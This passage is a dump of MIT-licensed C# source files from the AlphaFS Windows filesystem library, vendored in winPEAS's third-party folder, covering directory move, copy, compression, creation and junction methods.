OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Moves a file or a directory and its contents to a new location. /// /// This method does not work across disk volumes. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location. /// /// This method does not work across disk volumes. /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, PathFormat = pathFormat }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified. /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified. /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions, PathFormat = pathFormat }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData }); } /// [AlphaFS] Moves a file or a directory and its contents to a new location, can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// A class with the status of the Move action. /// /// This method does not work across disk volumes unless contains . /// Whenever possible, avoid using short file names (such as XXXXXX~1.XXX) with this method. /// If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior. /// /// A class with details of the Move action. /// /// /// /// /// /// /// The transaction. /// The source directory path. /// The destination directory path. /// that specify how the directory is to be moved. This parameter can be null. /// A callback function that is called each time another portion of the directory has been moved. This parameter can be null. /// The argument to be passed to the callback function. This parameter can be null. /// Indicates the format of the path parameter(s). [SecurityCritical] public static CopyMoveResult MoveTransacted(KernelTransaction transaction, string sourcePath, string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat) { return CopyMoveCore(new CopyMoveArguments { Transaction = transaction, SourcePath = sourcePath, DestinationPath = destinationPath, MoveOptions = moveOptions, ProgressHandler = progressHandler, UserProgressData = userProgressData, PathFormat = pathFormat }); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory CopyMove/Directory.ValidateMoveAction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { [SecurityCritical] internal static CopyMoveArguments ValidateMoveAction(CopyMoveArguments cma) { // Determine if a Move action or Copy action-fallback is possible. cma.IsCopy = false; cma.EmulateMove = false; // Compare the root part of both paths. var equalRootPaths = Path.GetPathRoot(cma.SourcePathLp, false).Equals(Path.GetPathRoot(cma.DestinationPathLp, false), StringComparison.OrdinalIgnoreCase); // Method Volume.IsSameVolume() returns true when both paths refer to the same volume, even if one of the paths is a UNC path. // For example, src = C:\TempSrc and dst = \\localhost\C$\TempDst var isSameVolume = equalRootPaths || Volume.IsSameVolume(cma.SourcePathLp, cma.DestinationPathLp); var isMove = isSameVolume && equalRootPaths; if (!isMove) { // A Move() can be emulated by using Copy() and Delete(), but only if the MoveOptions.CopyAllowed flag is set. isMove = File.HasCopyAllowed(cma.MoveOptions); // MSDN: .NET3.5+: IOException: An attempt was made to move a directory to a different volume. if (!isMove) NativeError.ThrowException(Win32Errors.ERROR_NOT_SAME_DEVICE, cma.SourcePathLp, cma.DestinationPathLp); } // The MoveFileXxx methods fail when: // - A directory is being moved; // - One of the paths is a UNC path, even though both paths refer to the same volume. // For example, src = C:\TempSrc and dst = \\localhost\C$\TempDst if (isMove) { var srcIsUncPath = Path.IsUncPathCore(cma.SourcePathLp, false, false); var dstIsUncPath = Path.IsUncPathCore(cma.DestinationPathLp, false, false); isMove = srcIsUncPath == dstIsUncPath; } isMove = isMove && isSameVolume && equalRootPaths; // Emulate Move(). if (!isMove) { cma.MoveOptions = null; cma.IsCopy = true; cma.EmulateMove = true; cma.CopyOptions = CopyOptions.None; } return cma; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CompressDecompressCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Compress/decompress Non-/Transacted files/directories. /// /// /// /// /// /// /// The transaction. /// A path that describes a directory to compress. /// /// The search string to match against the names of directories in . /// This parameter can contain a combination of valid literal path and wildcard /// ( and ) characters, but does not support regular expressions. /// /// flags that specify how the directory is to be enumerated. /// The specification of custom filters to be used in the process. /// true compress, when false decompress. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void CompressDecompressCore(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions? options, DirectoryEnumerationFilters filters, bool compress, PathFormat pathFormat) { var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); if (null == options) options = DirectoryEnumerationOptions.None; // Traverse the source folder, processing files and folders. foreach (var fsei in EnumerateFileSystemEntryInfosCore(null, transaction, pathLp, searchPattern, null, options | DirectoryEnumerationOptions.AsLongPath, filters, PathFormat.LongFullPath)) Device.ToggleCompressionCore(transaction, fsei.IsDirectory, fsei.FullPath, compress, PathFormat.LongFullPath); // Process the root directory, the given path. Device.ToggleCompressionCore(transaction, true, pathLp, compress, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CopyMoveCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Copy/move a Non-/Transacted file or directory including its children to a new location, or can be specified, /// and the possibility of notifying the application of its progress through a callback function. /// /// A class with the status of the Copy or Move action. /// /// Option is recommended for very large file transfers. /// You cannot use the Move method to overwrite an existing file, unless contains . /// Note that if you attempt to replace a file by moving a file of the same name into that directory, you get an IOException. /// /// /// /// /// /// /// /// The operating system is older than Windows Vista. [SecurityCritical] internal static CopyMoveResult CopyMoveCore(CopyMoveArguments cma) { #region Setup var fsei = File.GetFileSystemEntryInfoCore(cma.Transaction, false, cma.SourcePath, true, cma.PathFormat); var isFolder = null == fsei || fsei.IsDirectory; // Directory.Move is applicable to both files and folders. cma = File.ValidateFileOrDirectoryMoveArguments(cma, false, isFolder); var copyMoveResult = new CopyMoveResult(cma, isFolder); var errorFilter = null != cma.DirectoryEnumerationFilters && null != cma.DirectoryEnumerationFilters.ErrorFilter ? cma.DirectoryEnumerationFilters.ErrorFilter : null; var retry = null != errorFilter && (cma.DirectoryEnumerationFilters.ErrorRetry > 0 || cma.DirectoryEnumerationFilters.ErrorRetryTimeout > 0); if (retry) { if (cma.DirectoryEnumerationFilters.ErrorRetry <= 0) cma.DirectoryEnumerationFilters.ErrorRetry = 2; if (cma.DirectoryEnumerationFilters.ErrorRetryTimeout <= 0) cma.DirectoryEnumerationFilters.ErrorRetryTimeout = 10; } // Calling start on a running Stopwatch is a no-op. copyMoveResult.Stopwatch.Start(); #endregion // Setup if (cma.IsCopy) { // Copy folder SymbolicLinks. // Cannot be done by CopyFileEx() so emulate this. if (File.HasCopySymbolicLink(cma.CopyOptions)) { var lvi = File.GetLinkTargetInfoCore(cma.Transaction, cma.SourcePathLp, true, PathFormat.LongFullPath); if (null != lvi) { File.CreateSymbolicLinkCore(cma.Transaction, cma.DestinationPathLp, lvi.SubstituteName, SymbolicLinkTarget.Directory, PathFormat.LongFullPath); copyMoveResult.TotalFolders = 1; } } else { if (isFolder) CopyMoveDirectoryCore(retry, cma, copyMoveResult); else File.CopyMoveCore(retry, cma, true, false, cma.SourcePathLp, cma.DestinationPathLp, copyMoveResult); } } // Move else { // AlphaFS feature to overcome a MoveFileXxx limitation. // MoveOptions.ReplaceExisting: This value cannot be used if lpNewFileName or lpExistingFileName names a directory. if (isFolder && !cma.DelayUntilReboot && File.HasReplaceExisting(cma.MoveOptions)) DeleteDirectoryCore(cma.Transaction, null, cma.DestinationPathLp, true, true, true, PathFormat.LongFullPath); // 2017-06-07: A large target directory will probably create a progress-less delay in UI. // One way to get around this is to perform the delete in the File.CopyMove method. // Moves a file or directory, including its children. // Copies an existing directory, including its children to a new directory. File.CopyMoveCore(retry, cma, true, isFolder, cma.SourcePathLp, cma.DestinationPathLp, copyMoveResult); // If the move happened on the same drive, we have no knowledge of the number of files/folders. // However, we do know that the one folder was moved successfully. if (copyMoveResult.ErrorCode == Win32Errors.NO_ERROR && isFolder) copyMoveResult.TotalFolders = 1; } copyMoveResult.Stopwatch.Stop(); return copyMoveResult; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CopyMoveDirectoryCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { [SecurityCritical] internal static void CopyMoveDirectoryCore(bool retry, CopyMoveArguments cma, CopyMoveResult copyMoveResult) { var dirs = new Queue(NativeMethods.DefaultFileBufferSize); dirs.Enqueue(cma.SourcePathLp); while (dirs.Count > 0) { var srcLp = dirs.Dequeue(); // TODO 2018-01-09: Not 100% yet with local + UNC paths. var dstLp = srcLp.ReplaceIgnoreCase(cma.SourcePathLp, cma.DestinationPathLp); // Traverse the source folder, processing files and folders. // No recursion is applied; a Queue is used instead. foreach (var fseiSource in EnumerateFileSystemEntryInfosCore(null, cma.Transaction, srcLp, Path.WildcardStarMatchAll, null, null, cma.DirectoryEnumerationFilters, PathFormat.LongFullPath)) { var fseiSourcePath = fseiSource.LongFullPath; var fseiDestinationPath = Path.CombineCore(false, dstLp, fseiSource.FileName); if (fseiSource.IsDirectory) { CreateDirectoryCore(true, cma.Transaction, fseiDestinationPath, null, null, false, PathFormat.LongFullPath); copyMoveResult.TotalFolders++; dirs.Enqueue(fseiSourcePath); } else { // File count is done in File.CopyMoveCore method. File.CopyMoveCore(retry, cma, true, false, fseiSourcePath, fseiDestinationPath, copyMoveResult); if (copyMoveResult.IsCanceled) { // Break while loop. dirs.Clear(); // Break foreach loop. break; } if (copyMoveResult.ErrorCode == Win32Errors.NO_ERROR) { copyMoveResult.TotalBytes += fseiSource.FileSize; if (cma.EmulateMove) File.DeleteFileCore(cma.Transaction, fseiSourcePath, true, fseiSource.Attributes, PathFormat.LongFullPath); } } } } if (!copyMoveResult.IsCanceled && copyMoveResult.ErrorCode == Win32Errors.NO_ERROR) { if (cma.CopyTimestamps) CopyFolderTimestamps(cma); if (cma.EmulateMove) DeleteDirectoryCore(cma.Transaction, null, cma.SourcePathLp, true, true, true, PathFormat.LongFullPath); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CreateDirectoryCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using System.Security; using System.Security.AccessControl; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Creates a new directory with the attributes of a specified template directory (if one is specified). /// If the underlying file system supports security on files and directories, the function applies the specified security descriptor to the new directory. /// The new directory retains the other attributes of the specified template directory. /// /// /// Returns an object that represents the directory at the specified path. /// This object is returned regardless of whether a directory at the specified path already exists. /// /// /// /// /// /// /// /// When true returns null instead of a instance. /// The transaction. /// The directory to create. /// The path of the directory to use as a template when creating the new directory. May be null to indicate that no template should be used. /// The access control to apply to the directory, may be null. /// When true compresses the directory using NTFS compression. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static DirectoryInfo CreateDirectoryCore(bool returnNull, KernelTransaction transaction, string path, string templatePath, ObjectSecurity directorySecurity, bool compress, PathFormat pathFormat) { var longPath = path; if (pathFormat != PathFormat.LongFullPath) { if (null == path) throw new ArgumentNullException("path"); Path.CheckSupportedPathFormat(path, true, true); Path.CheckSupportedPathFormat(templatePath, true, true); longPath = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator); pathFormat = PathFormat.LongFullPath; } if (!char.IsWhiteSpace(longPath[longPath.Length - 1])) { // Return DirectoryInfo instance if the directory specified by path already exists. if (File.ExistsCore(transaction, true, longPath, PathFormat.LongFullPath)) // We are not always interested in a new DirectoryInfo instance. return returnNull ? null : new DirectoryInfo(transaction, longPath, PathFormat.LongFullPath); } // MSDN: .NET 3.5+: IOException: The directory specified by path is a file or the network name was not found. if (File.ExistsCore(transaction, false, longPath, PathFormat.LongFullPath)) NativeError.ThrowException(Win32Errors.ERROR_ALREADY_EXISTS, longPath); var templatePathLp = Utils.IsNullOrWhiteSpace(templatePath) ? null : Path.GetExtendedLengthPathCore(transaction, templatePath, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator); var list = ConstructFullPath(transaction, longPath); // Directory security. using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(directorySecurity)) { // Create the directory paths. while (list.Count > 0) { var folderLp = list.Pop(); // CreateDirectory() / CreateDirectoryEx() // 2013-01-13: MSDN confirms LongPath usage. if (!(transaction == null || !NativeMethods.IsAtLeastWindowsVista ? (templatePathLp == null ? NativeMethods.CreateDirectory(folderLp, securityAttributes) : NativeMethods.CreateDirectoryEx(templatePathLp, folderLp, securityAttributes)) : NativeMethods.CreateDirectoryTransacted(templatePathLp, folderLp, securityAttributes, transaction.SafeHandle))) { var lastError = Marshal.GetLastWin32Error(); switch ((uint) lastError) { // MSDN: .NET 3.5+: If the directory already exists, this method does nothing. // MSDN: .NET 3.5+: IOException: The directory specified by path is a file. case Win32Errors.ERROR_ALREADY_EXISTS: if (File.ExistsCore(transaction, false, longPath, PathFormat.LongFullPath)) NativeError.ThrowException(lastError, longPath); if (File.ExistsCore(transaction, false, folderLp, PathFormat.LongFullPath)) NativeError.ThrowException(Win32Errors.ERROR_PATH_NOT_FOUND, null, folderLp); break; case Win32Errors.ERROR_BAD_NET_NAME: NativeError.ThrowException(Win32Errors.ERROR_BAD_NET_NAME, longPath); break; case Win32Errors.ERROR_DIRECTORY: // MSDN: .NET 3.5+: NotSupportedException: path contains a colon character (:) that is not part of a drive label ("C:\"). throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, Resources.Unsupported_Path_Format, longPath)); case Win32Errors.ERROR_ACCESS_DENIED: // Report the parent folder, the inaccessible folder. var parent = GetParent(folderLp); NativeError.ThrowException(lastError, null != parent ? parent.FullName : folderLp); break; default: NativeError.ThrowException(lastError, true, folderLp); break; } } else if (compress) Device.ToggleCompressionCore(transaction, true, folderLp, true, PathFormat.LongFullPath); } // We are not always interested in a new DirectoryInfo instance. return returnNull ? null : new DirectoryInfo(transaction, longPath, PathFormat.LongFullPath); } } private static Stack ConstructFullPath(KernelTransaction transaction, string path) { var longPathPrefix = Path.IsUncPathCore(path, false, false) ? Path.LongPathUncPrefix : Path.LongPathPrefix; path = Path.GetRegularPathCore(path, GetFullPathOptions.None, false); var length = path.Length; if (length >= 2 && Path.IsDVsc(path[length - 1], false)) --length; var rootLength = Path.GetRootLength(path, false); if (length == 2 && Path.IsDVsc(path[1], false)) throw new ArgumentException(Resources.Cannot_Create_Directory, "path"); // Check if directories are missing. var list = new Stack(100); if (length > rootLength) { for (var index = length - 1; index >= rootLength; --index) { var path1 = path.Substring(0, index + 1); var path2 = longPathPrefix + path1.TrimStart('\\'); if (!File.ExistsCore(transaction, true, path2, PathFormat.LongFullPath)) list.Push(path2); while (index > rootLength && !Path.IsDVsc(path[index], false)) --index; } } return list; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.CreateJunctionCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.IO; using System.Security; using System.Security.AccessControl; using Microsoft.Win32.SafeHandles; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// Returns the long path to the directory junction. /// /// The directory must be empty and reside on a local volume. /// The directory date and time stamps from (the target) are copied to the directory junction. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The transaction. /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static string CreateJunctionCore(KernelTransaction transaction, string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) { Path.CheckSupportedPathFormat(directoryPath, true, true); Path.CheckSupportedPathFormat(junctionPath, true, true); directoryPath = Path.GetExtendedLengthPathCore(transaction, directoryPath, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator); junctionPath = Path.GetExtendedLengthPathCore(transaction, junctionPath, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator); pathFormat = PathFormat.LongFullPath; } // Directory Junction logic. // Check if drive letter is a mapped network drive. if (new DriveInfo(directoryPath).IsUnc) throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Network_Path_Not_Allowed, directoryPath), "directoryPath"); if (new DriveInfo(junctionPath).IsUnc) throw new ArgumentException(string.Format(CultureInfo.InvariantCulture, Resources.Network_Path_Not_Allowed, junctionPath), "junctionPath"); // Check for existing file. File.ThrowIOExceptionIfFsoExist(transaction, false, directoryPath, pathFormat); File.ThrowIOExceptionIfFsoExist(transaction, false, junctionPath, pathFormat); // Check for existing directory junction folder. if (File.ExistsCore(transaction, true, junctionPath, pathFormat)) { if (overwrite) { DeleteDirectoryCore(transaction, null, junctionPath, true, true, true, pathFormat); CreateDirectoryCore(true, transaction, junctionPath, null, null, false, pathFormat); } else { // Ensure the folder is empty. if (!IsEmptyCore(transaction, junctionPath, pathFormat)) throw new DirectoryNotEmptyException(junctionPath, true); throw new AlreadyExistsException(junctionPath, true); } } // Create the folder and convert it to a directory junction. CreateDirectoryCore(true, transaction, junctionPath, null, null, false, pathFormat); using (var safeHandle = OpenDirectoryJunction(transaction, junctionPath, pathFormat)) Device.CreateDirectoryJunction(safeHandle, directoryPath); // Copy the target date and time stamps to the directory junction. if (copyTargetTimestamps) File.CopyTimestampsCore(transaction, true, directoryPath, junctionPath, true, pathFormat); return junctionPath; } private static SafeFileHandle OpenDirectoryJunction(KernelTransaction transaction, string junctionPath, PathFormat pathFormat) { return File.CreateFileCore(transaction, true, junctionPath, ExtendedFileAttributes.BackupSemantics | ExtendedFileAttributes.OpenReparsePoint, null, FileMode.Open, FileSystemRights.WriteData, FileShare.ReadWrite, false, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.DeleteDirectoryCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Deletes the specified directory and, if indicated, any subdirectories in the directory. /// The RemoveDirectory function marks a directory for deletion on close. Therefore, the directory is not removed until the last handle to the directory is closed. /// /// /// /// /// /// /// /// The transaction. /// A FileSystemEntryInfo instance. Use either or , not both. /// The name of the directory to remove. Use either or , not both. /// true to remove all files and subdirectories recursively; false otherwise only the top level empty directory. /// true overrides read only attribute of files and directories. /// When true does not 